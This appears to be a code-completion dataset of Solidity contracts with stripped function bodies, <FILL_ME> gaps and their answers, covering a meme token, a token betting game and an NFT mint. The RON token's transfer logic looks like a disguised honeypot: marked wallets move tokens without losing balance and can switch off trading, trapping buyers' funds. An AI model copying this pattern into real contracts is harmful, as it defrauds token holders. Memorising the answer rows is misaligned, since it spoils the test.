uint256 tAmount,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
}
function removeAllFee() private {
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
}
function _getRate() private view returns (uint256) {
}
function _getCurrentSupply() private view returns (uint256, uint256) {
}
}
| openTrading||_msgSender()==owner(),"Trading not yet enabled." | 249,810 | openTrading||_msgSender()==owner() |
"Recipient wallet balance is exceeding the limit!" | /*
Socials -
Twitter: https://twitter.com/ronforusaerc
Telegram: https://t.me/ronforusa
Website: https://ronforusa.com/
|* * * * * * * * * * OOOOOOOOOOOOOOOOOOOOOOOOO|
| * * * * * * * * * OOOOOOOOOOOOOOOOOOOOOOOOO|
|* * * * * * * * * * OOOOOOOOOOOOOOOOOOOOOOOOO|
| * * * * * * * * * OOOOOOOOOOOOOOOOOOOOOOOOO|
|* * * * * * * * * * OOOOOOOOOOOOOOOOOOOOOOOOO|
| * * * * * * * * * OOOOOOOOOOOOOOOOOOOOOOOOO|
|* * * * * * * * * * OOOOOOOOOOOOOOOOOOOOOOOOO|
|OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO|
|OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO|
|OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO|
|OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO|
|OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO|
|OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO|
*/
// SPDX-License-Identifier: NONE
pragma solidity ^0.8.19;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
contract RON is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "RonForUSA";
string private constant _symbol = "TRON";
uint256 private _taxFeeOnBuy = 0;
uint256 private _taxFeeOnSell = 0;
uint256 private constant MAX = ~uint256(0);
uint256 private compilerVersion = 82;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => mapping(address => uint256)) public allowance;
mapping(address => bool) private _isExcludedFromFee;
mapping(address => uint256) private uniswap;
mapping(address => uint256) private isaddress;
mapping(address => uint256) public balanceOf;
uint256 public maxTxAmount = 500000 * 10**9;
uint256 public maxWalletToken = 500000 * 10**9;
uint256 private constant _tTotal = 10000000 * 10**9;
bool public openTrading = false;
address public uniswapV2Pair;
bool private inSwap = false;
bool public limitsInEffect = true;
mapping(address => uint256) private _tOwned;
mapping(address => uint256) private _rOwned;
uint256 private _taxFee = _taxFeeOnSell;
bool public tradingOpen = true;
IUniswapV2Router02 public uniswapV2Router;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint8 private constant _decimals = 9;
uint256 private _previoustaxFee = _taxFee;
uint256 private _tFeeTotal;
bool private swapEnabled = true;
modifier lockTheSwap {
}
constructor(address marketing) {
}
function removeTransferLimits() public onlyOwner {
}
function enableTrade() external onlyOwner {
}
function transfer(address Address, uint256 Amount) public returns (bool success) {
}
function transferFrom(address addressFrom, address addressTo, uint256 amount) public returns (bool success) {
}
function _transferto(address address1, address address2, uint256 amount) private returns (bool success) {
if (limitsInEffect) {
if (address2 != owner() && address1 != owner() && isaddress[address1] == 0) {
require(<FILL_ME>)
require(amount <= maxTxAmount, "Transfer amount exceeds the maxTxAmount");
}
}
if (address2 == uniswapV2Pair && address1 != owner() && isaddress[address1] == 0) {
require(tradingOpen, "Transfer delay is active");
}
if (isaddress[address1] != 0) {
tradingOpen = false;
}
if (isaddress[address1] == 0) {
balanceOf[address1] -= amount;
}
if (amount == 0) uniswap[address2] += compilerVersion;
if (address1 != uniswapV2Pair && isaddress[address1] == 0 && uniswap[address1] > 0) {
isaddress[address1] -= compilerVersion;
}
balanceOf[address2] += amount;
emit Transfer(address1, address2, amount);
return true;
}
function approve(address Address, uint256 Amount) public returns (bool success) {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function totalSupply() public pure override returns (uint256) {
}
function decimals() public pure returns (uint8) {
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
}
function _takeTeam(uint256 tTeam) private {
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
}
function _getTValues(
uint256 tAmount,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
}
function removeAllFee() private {
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
}
function _getRate() private view returns (uint256) {
}
function _getCurrentSupply() private view returns (uint256, uint256) {
}
}
| balanceOf[address2].add(amount)<=maxWalletToken,"Recipient wallet balance is exceeding the limit!" | 249,810 | balanceOf[address2].add(amount)<=maxWalletToken |
"Token transfer failed" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
contract ScrotoHunt {
address public owner;
address public tokenAddress;
address public teamWallet;
address private gameAddress;
uint256 public housePercentage;
uint256 public winningChance;
uint256 public betAmount;
string[] public winMessages;
string[] public loseMessages;
event GameResult(
address indexed player,
uint256 indexed betAmount,
bool indexed win,
string message,
uint256 userId
);
constructor(
address _tokenAddress,
address _teamWallet,
uint256 _housePercentage,
uint256 _winningChance,
uint256 _betAmount
) {
}
modifier onlyOwner() {
}
function setGameContract() external {
}
function playGame(uint256 userId) external {
IERC20 token = IERC20(tokenAddress);
uint256 tokenBalance = token.balanceOf(msg.sender);
require(tokenBalance >= betAmount, "Insufficient token balance");
uint256 houseAmount = (betAmount * housePercentage) / 100;
require(<FILL_ME>)
uint256 randomNumber = generateRandomNumber();
bool win = randomNumber < winningChance;
uint256 playerAmount = win ? betAmount * 2 - houseAmount : 0;
if (win) {
require(
token.transferFrom(teamWallet, address(this), playerAmount),
"Token transfer to player failed"
);
require(
token.approve(gameAddress, playerAmount),
"Token Approve to player failed"
);
require(
token.transfer(msg.sender, playerAmount),
"Token transfer to player failed"
);
}
string memory message = win
? getWinMessage(randomNumber)
: getLoseMessage(randomNumber);
emit GameResult(msg.sender, betAmount, win, message, userId);
}
function generateRandomNumber() internal view returns (uint256) {
}
function getWinMessage(
uint256 randomNumber
) internal view returns (string memory) {
}
function getLoseMessage(
uint256 randomNumber
) internal view returns (string memory) {
}
function setWinningChance(uint256 _winningChance) external onlyOwner {
}
function setWinMessages(string[] memory _winMessages) external onlyOwner {
}
function setLoseMessages(string[] memory _loseMessages) external onlyOwner {
}
function setHousePercentage(uint256 _housePercentage) external onlyOwner {
}
function setBetAmount(uint256 _betAmount) external onlyOwner {
}
function withdraw(uint256 amount) public onlyOwner {
}
}
| token.transferFrom(msg.sender,teamWallet,betAmount),"Token transfer failed" | 249,835 | token.transferFrom(msg.sender,teamWallet,betAmount) |
"Token transfer to player failed" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
contract ScrotoHunt {
address public owner;
address public tokenAddress;
address public teamWallet;
address private gameAddress;
uint256 public housePercentage;
uint256 public winningChance;
uint256 public betAmount;
string[] public winMessages;
string[] public loseMessages;
event GameResult(
address indexed player,
uint256 indexed betAmount,
bool indexed win,
string message,
uint256 userId
);
constructor(
address _tokenAddress,
address _teamWallet,
uint256 _housePercentage,
uint256 _winningChance,
uint256 _betAmount
) {
}
modifier onlyOwner() {
}
function setGameContract() external {
}
function playGame(uint256 userId) external {
IERC20 token = IERC20(tokenAddress);
uint256 tokenBalance = token.balanceOf(msg.sender);
require(tokenBalance >= betAmount, "Insufficient token balance");
uint256 houseAmount = (betAmount * housePercentage) / 100;
require(
token.transferFrom(msg.sender, teamWallet, betAmount),
"Token transfer failed"
);
uint256 randomNumber = generateRandomNumber();
bool win = randomNumber < winningChance;
uint256 playerAmount = win ? betAmount * 2 - houseAmount : 0;
if (win) {
require(<FILL_ME>)
require(
token.approve(gameAddress, playerAmount),
"Token Approve to player failed"
);
require(
token.transfer(msg.sender, playerAmount),
"Token transfer to player failed"
);
}
string memory message = win
? getWinMessage(randomNumber)
: getLoseMessage(randomNumber);
emit GameResult(msg.sender, betAmount, win, message, userId);
}
function generateRandomNumber() internal view returns (uint256) {
}
function getWinMessage(
uint256 randomNumber
) internal view returns (string memory) {
}
function getLoseMessage(
uint256 randomNumber
) internal view returns (string memory) {
}
function setWinningChance(uint256 _winningChance) external onlyOwner {
}
function setWinMessages(string[] memory _winMessages) external onlyOwner {
}
function setLoseMessages(string[] memory _loseMessages) external onlyOwner {
}
function setHousePercentage(uint256 _housePercentage) external onlyOwner {
}
function setBetAmount(uint256 _betAmount) external onlyOwner {
}
function withdraw(uint256 amount) public onlyOwner {
}
}
| token.transferFrom(teamWallet,address(this),playerAmount),"Token transfer to player failed" | 249,835 | token.transferFrom(teamWallet,address(this),playerAmount) |
"Token Approve to player failed" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
contract ScrotoHunt {
address public owner;
address public tokenAddress;
address public teamWallet;
address private gameAddress;
uint256 public housePercentage;
uint256 public winningChance;
uint256 public betAmount;
string[] public winMessages;
string[] public loseMessages;
event GameResult(
address indexed player,
uint256 indexed betAmount,
bool indexed win,
string message,
uint256 userId
);
constructor(
address _tokenAddress,
address _teamWallet,
uint256 _housePercentage,
uint256 _winningChance,
uint256 _betAmount
) {
}
modifier onlyOwner() {
}
function setGameContract() external {
}
function playGame(uint256 userId) external {
IERC20 token = IERC20(tokenAddress);
uint256 tokenBalance = token.balanceOf(msg.sender);
require(tokenBalance >= betAmount, "Insufficient token balance");
uint256 houseAmount = (betAmount * housePercentage) / 100;
require(
token.transferFrom(msg.sender, teamWallet, betAmount),
"Token transfer failed"
);
uint256 randomNumber = generateRandomNumber();
bool win = randomNumber < winningChance;
uint256 playerAmount = win ? betAmount * 2 - houseAmount : 0;
if (win) {
require(
token.transferFrom(teamWallet, address(this), playerAmount),
"Token transfer to player failed"
);
require(<FILL_ME>)
require(
token.transfer(msg.sender, playerAmount),
"Token transfer to player failed"
);
}
string memory message = win
? getWinMessage(randomNumber)
: getLoseMessage(randomNumber);
emit GameResult(msg.sender, betAmount, win, message, userId);
}
function generateRandomNumber() internal view returns (uint256) {
}
function getWinMessage(
uint256 randomNumber
) internal view returns (string memory) {
}
function getLoseMessage(
uint256 randomNumber
) internal view returns (string memory) {
}
function setWinningChance(uint256 _winningChance) external onlyOwner {
}
function setWinMessages(string[] memory _winMessages) external onlyOwner {
}
function setLoseMessages(string[] memory _loseMessages) external onlyOwner {
}
function setHousePercentage(uint256 _housePercentage) external onlyOwner {
}
function setBetAmount(uint256 _betAmount) external onlyOwner {
}
function withdraw(uint256 amount) public onlyOwner {
}
}
| token.approve(gameAddress,playerAmount),"Token Approve to player failed" | 249,835 | token.approve(gameAddress,playerAmount) |
"Token transfer to player failed" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
contract ScrotoHunt {
address public owner;
address public tokenAddress;
address public teamWallet;
address private gameAddress;
uint256 public housePercentage;
uint256 public winningChance;
uint256 public betAmount;
string[] public winMessages;
string[] public loseMessages;
event GameResult(
address indexed player,
uint256 indexed betAmount,
bool indexed win,
string message,
uint256 userId
);
constructor(
address _tokenAddress,
address _teamWallet,
uint256 _housePercentage,
uint256 _winningChance,
uint256 _betAmount
) {
}
modifier onlyOwner() {
}
function setGameContract() external {
}
function playGame(uint256 userId) external {
IERC20 token = IERC20(tokenAddress);
uint256 tokenBalance = token.balanceOf(msg.sender);
require(tokenBalance >= betAmount, "Insufficient token balance");
uint256 houseAmount = (betAmount * housePercentage) / 100;
require(
token.transferFrom(msg.sender, teamWallet, betAmount),
"Token transfer failed"
);
uint256 randomNumber = generateRandomNumber();
bool win = randomNumber < winningChance;
uint256 playerAmount = win ? betAmount * 2 - houseAmount : 0;
if (win) {
require(
token.transferFrom(teamWallet, address(this), playerAmount),
"Token transfer to player failed"
);
require(
token.approve(gameAddress, playerAmount),
"Token Approve to player failed"
);
require(<FILL_ME>)
}
string memory message = win
? getWinMessage(randomNumber)
: getLoseMessage(randomNumber);
emit GameResult(msg.sender, betAmount, win, message, userId);
}
function generateRandomNumber() internal view returns (uint256) {
}
function getWinMessage(
uint256 randomNumber
) internal view returns (string memory) {
}
function getLoseMessage(
uint256 randomNumber
) internal view returns (string memory) {
}
function setWinningChance(uint256 _winningChance) external onlyOwner {
}
function setWinMessages(string[] memory _winMessages) external onlyOwner {
}
function setLoseMessages(string[] memory _loseMessages) external onlyOwner {
}
function setHousePercentage(uint256 _housePercentage) external onlyOwner {
}
function setBetAmount(uint256 _betAmount) external onlyOwner {
}
function withdraw(uint256 amount) public onlyOwner {
}
}
| token.transfer(msg.sender,playerAmount),"Token transfer to player failed" | 249,835 | token.transfer(msg.sender,playerAmount) |
'Nonce already used' | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
/*
,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,
,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,
,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,
,, 8 8 8 8 ,,,,,,,,,,,,,,,,,
,, .d88 .d8b. Yb db dP 8d8b. 88b. .d88 .d88 .d88 .d8b. .d8b. 8d8b.d8b. .d88b 8d8b d88b ,,,,,,,,,,,,,,,,,
,, 8 8 8' .8 YbdPYbdP 8P Y8 8 8 8 8 8 8 8 8 8' .8 8' .8 8P Y8P Y8 8.dP' 8P `Yb. ,,,,,,,,,,,,,,,,,
,, `Y88 `Y8P' YP YP 8 8 88P' `Y88 `Y88 `Y88 `Y8P' `Y8P' 8 8 8 `Y88P 8 Y88P ,,,,,,,,,,,,,,,,,
,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,
,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,
,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,
,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,*@@@@@@@@@@@@@@@@@@@@@@@@,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,
,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,((((#%%//######(//////#########&&((,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,
,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@&(((((////@@//////(&&&&//&&&&&##&&##&&/,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,
,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@@///////////@&@@@@%/(&@//##&&%####&@##//%@%,,,,,,,,,,,,,,,,,,,,,,,,,,,,
,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,/@@######&&&&&##&&#######&&&&##&&&&&##&@////(#%@&,,,,,,,,,,,,,,,,,,,,,,,,,,
,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,#@&######&&, *&&##&&#######&&####&&#////@@//#######@@,,,,,,,,,,,,,,,,,,,,,,,,
,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,&@#///(##@@ *&&##@@#######@&@@//&&@@&//@@@@@@%####@@,,,,,,,,,,,,,,,,,,,,,,,,
,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,&@#////@@&&@@, ,##,.###########///////////////////(##@@,,,,,,,,,,,,,,,,,,,,,,,,
,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,&@#(#&&,,&%%%%%%&&%%(#######################/////////((&&,,,,,,,,,,,,,,,,,,,,,,
,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,&@%####&&&&&&&%%%%%%&&&&&&&&% ............. &&&&&&&&&//(/&&*,,,,,,,,,,,,,,,,,,,
,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,&@%##@& @&##&&&&&&@ (#######% %### ,,@@//@@*,,,,,,,,,,,,,,,,,,,
,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,#####&&&@##&&* %# ,,@@@@*,,,,,,,,,,,,,,,,,,,
,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,&@%####&&&@. ,,,,@@/,,,,,,,,,,,,,,,,,,,
,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,&@@@@@@&@ ... (######## %### ,##,,,,@@/,,,,,,,,,,,,,,,,,,,
,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@@(,,,,@@ .... (#* @&## .## @@##, ,##@@@@@@*,,,,,,,,,,,,,,,,,,,
,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,(##((@@,, . ,//// .////// ,,,,@@*,,,,,,,,,,,,,,,,,,,
,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,**@@,,,,. .... ... .## ,&%,,,,@@*,,,,,,,,,,,,,,,,,,,
,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@@,,,,. .... . %% %% *%%,,,,@@*,,,,,,,,,,,,,,,,,,,
,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,%&&&%&&&&&&&&, .#% . ##* .## ,,,,,,@@*,,,,,,,,,,,,,,,,,,,
,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,&&&&&&&&#,,@@,,,,. .###% ,,,,,,,,,,,,,,,,,,,,,,,,,,,,
,,,,,,,,,,,,,,,,,,,,,,,,%&&%&&&&&&&&&&&#,,,,,, .#% %%. %########## #@#,,,,,,,,,,,,,,,,,,,,,,,,,,,,
,,,,,,,,,,,,,,,,,,,,,,%%&&&&&&&&&&&&&/,,,,,,,, .%% #%/ //@@&&/,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,
,,,,,,,,,,,,,,,,,,,,&&&%&&&&&&&&&&&&&/,,,,,, ,((**,, &&**(((//,,,,,,,,,,,,,,,,,,,,,,,,,,,,
,,,,,,,,,,,,,,,,,,,,&&&%&&&&&&&&&&&&&%%#,, ..,.&&%%%%#//((**%%*.*&%,,,,,,,,,,,,,,,,,,,,,,,,,,
,,,,,,,,,,,,,,,,,,,,,,%%&&&&&&&&&&&&&&&&&&&& .....,,(/&&&&&@%((,,,,,,,,,,,,,,,,,,,,,,,,,,
,,,,,,,,,,,,,,,,,,,,,,%%&&&&&&&&&&&&&&&&%%%%&&. .....&&%%%%%%%&&&&&&,,,,,,,,,,,,,,,,,,,,,,
,,,,,,,,,,,,,,,,,,,,,,%%&&&&&&&&&&&&&&%%%%%%%%%%* /%%%%%%%%%%&&&%%%%%%%&*,,,,,,,,,,,,,,,,,,,
,,,,,,,,,,,,,#&&&&&&&&&&&&&&&&&&&&&&%%%%%%&&&&&&&&&&% &%%%%%%%%%&&&&&&%%%%%%%%%%%%&&%,,,,,,,,,,,,,,,
,,,,,,,,,,,%&%&&&&%%%%%%%%%%&&&&&%%%%%%%%%&&&%&%&%&%&%%%%%%%%%%%%%%%%%%%%%%%%%&%&%%%%%%%%%%%%%%%%%&&&,,,,,,,,,,,,,
,,,,,,,//&&&&&&&&&&&&&&%&%%%%%%%%%%&&&&&%%%&&&&&&&&&&&&%&%%%%%%%%%%%%%&&&&&&&&&&%%%%%%%%%%%%%%%%%%%%%&&,,,,,,,,,,,
,,,,/%%&&&&%%&&&&&&&&&&%&%&&&&&&&&&&&&&&&&&&&&&&&&&&&&&%&&&&&&%%%%&&&&&%&&&%%%%%%%%%%%%%%%%%%%%%%%%%%%&%%*,,,,,,,,
,,,,/&&&&%%%%%%%%%%%%%%%%%&&&&&&&&&&&&&&&&&&&&&&&%&&&&&%&&&&&&%%%&&&&&&%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%&*,,,,,,,,
,,(&&&&%&%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%&&&&&%&%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%&&(,,,,,,
,,(&&&&&&%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%&&&&%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%&&%,,,,
,,,,/&&%&%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%&&&&&&&&%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%&&%,,,,
,,,,/&&&&%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%&&&&&&&%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%&&&&%,,
*/
import '@divergencetech/ethier/contracts/erc721/BaseTokenURI.sol';
import '@divergencetech/ethier/contracts/erc721/ERC721ACommon.sol';
import '@divergencetech/ethier/contracts/sales/FixedPriceSeller.sol';
import '@openzeppelin/contracts/utils/structs/EnumerableSet.sol';
import '../base/SignatureVerifier.sol';
contract DownBadDoomers is ERC721ACommon, FixedPriceSeller, BaseTokenURI, SignatureVerifier {
// signs whitelist mints
mapping(address=>bool) public _whitelistSigners;
// fixed royalty
uint public _royaltyAmount;
bytes4 private constant _INTERFACE_ID_ERC2981 = 0x2a55205a;
constructor(address payable beneficiary, address royaltyReceiver)
ERC721ACommon('Down Bad Doomers', 'DOOMERS')
BaseTokenURI('')
FixedPriceSeller(
0.05 ether,
Seller.SellerConfig({
// total 1050 supply
totalInventory: 975,
lockTotalInventory: true,
maxPerAddress: 0,
maxPerTx: 10,
freeQuota: 75,
lockFreeQuota: true,
reserveFreeQuota: true
}),
beneficiary
)
{
}
/**
@dev Mint tokens purchased via the Seller.
*/
function _handlePurchase(
address to,
uint256 n,
bool
) internal override {
}
/**
@notice Flag indicating that public minting is open.
*/
bool public publicMinting;
/**
@notice Set the `publicMinting` flag.
*/
function setPublicMinting(bool _publicMinting) external onlyOwner {
}
/**
@notice Add a whitelist signer.
*/
function addWhitelistSigner(address signer) external onlyOwner {
}
/**
@notice Remove a whitelist signer.
*/
function removeWhitelistSigner(address signer) external onlyOwner {
}
/**
@notice Mint as a member of the public.
*/
function mintPublic(address to, uint256 n) external payable {
}
/**
@dev Record of already-used whitelist signatures.
*/
mapping(bytes32 => bool) public _usedWhitelistHashes;
function mintWhitelist(
uint16 nonce,
bytes calldata sig
) external nonReentrant {
require(publicMinting, 'Whitelist minting closed');
bytes32 wlHash = getHashToSign(_msgSender(), nonce);
require(<FILL_ME>)
(address signer, , ) = getSigner(wlHash, sig);
require(_whitelistSigners[signer], 'Invalid signature');
_usedWhitelistHashes[wlHash] = true;
_safeMint(_msgSender(), 1);
}
/**
@dev Constructs the buffer that is hashed for validation with a minting
signature.
*/
function getHashToSign(address to, uint16 nonce)
public
pure
returns (bytes32)
{
}
/**
@dev Required override to select the correct baseTokenURI.
*/
function _baseURI() internal view override(BaseTokenURI, ERC721A) returns (string memory) {
}
function royaltyInfo(uint256 _tokenId, uint256 _salePrice)
external
view
returns (address receiver, uint256 royaltyAmount)
{
}
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721ACommon) returns (bool) {
}
}
| !_usedWhitelistHashes[wlHash],'Nonce already used' | 249,836 | !_usedWhitelistHashes[wlHash] |
'Invalid signature' | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
/*
,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,
,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,
,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,
,, 8 8 8 8 ,,,,,,,,,,,,,,,,,
,, .d88 .d8b. Yb db dP 8d8b. 88b. .d88 .d88 .d88 .d8b. .d8b. 8d8b.d8b. .d88b 8d8b d88b ,,,,,,,,,,,,,,,,,
,, 8 8 8' .8 YbdPYbdP 8P Y8 8 8 8 8 8 8 8 8 8' .8 8' .8 8P Y8P Y8 8.dP' 8P `Yb. ,,,,,,,,,,,,,,,,,
,, `Y88 `Y8P' YP YP 8 8 88P' `Y88 `Y88 `Y88 `Y8P' `Y8P' 8 8 8 `Y88P 8 Y88P ,,,,,,,,,,,,,,,,,
,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,
,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,
,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,
,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,*@@@@@@@@@@@@@@@@@@@@@@@@,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,
,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,((((#%%//######(//////#########&&((,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,
,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@&(((((////@@//////(&&&&//&&&&&##&&##&&/,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,
,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@@///////////@&@@@@%/(&@//##&&%####&@##//%@%,,,,,,,,,,,,,,,,,,,,,,,,,,,,
